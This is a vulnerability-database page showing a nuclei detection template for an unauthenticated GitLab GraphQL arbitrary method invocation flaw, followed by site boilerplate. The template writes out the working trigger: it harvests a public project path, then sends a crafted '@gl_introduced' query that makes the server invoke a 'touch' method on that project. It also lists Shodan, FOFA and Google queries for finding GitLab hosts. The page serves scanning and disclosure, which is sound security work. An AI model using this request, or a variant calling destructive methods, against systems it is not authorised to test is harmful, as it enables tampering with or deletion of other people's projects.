Lucene search
+L

GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation

🗓️ 20 Aug 2026 04:29:23Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 5 Views

Unauthenticated attacker can modify or delete GitLab projects via GraphQL directive in versions before 18.11.11.

Related
Refs
Code
id: CVE-2026-19478

info:
  name: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
  author: 0x_Akoko,DhiyaneshDk
  severity: critical
  description: |
    GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
  impact: |
    An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation
    through a crafted GraphQL query.
  remediation: |
    Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-19478
    - https://github.com/davkharrr/CVE-2026-19478-PoC
    - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
    - https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 9.4
    cve-id: CVE-2026-19478
    epss-score: 0.00719
    epss-percentile: 0.51025
    cwe-id: CWE-94
  metadata:
    max-request: 2
    verified: true
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2026,gitlab,graphql,code-injection,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v4/projects?visibility=public&per_page=1"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'path_with_namespace')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: project_path
        group: 1
        regex:
          - '"path_with_namespace"\s*:\s*"([^"]+)"'
        internal: true

  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"query { project(fullPath: \"{{project_path}}\") { name touch @gl_introduced(version: \"999.0.0\") } }"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "doesn't exist on type"
        negative: true

      - type: regex
        part: body
        regex:
          - '"touch"\s*:\s*true'

    extractors:
      - type: json
        json:
          - '.data.project.name'
# digest: 4a0a0047304502206d41f28f8be239aca0b8989d4c41bc2325d8b0f8258057d463551da523a0891b0221009df27731009d14a2575a444b3e9e3cb55763fe9d46b57e11a2c1f2f6b00e3156:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2026 19:40Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.4
EPSS0.00719
SSVC
5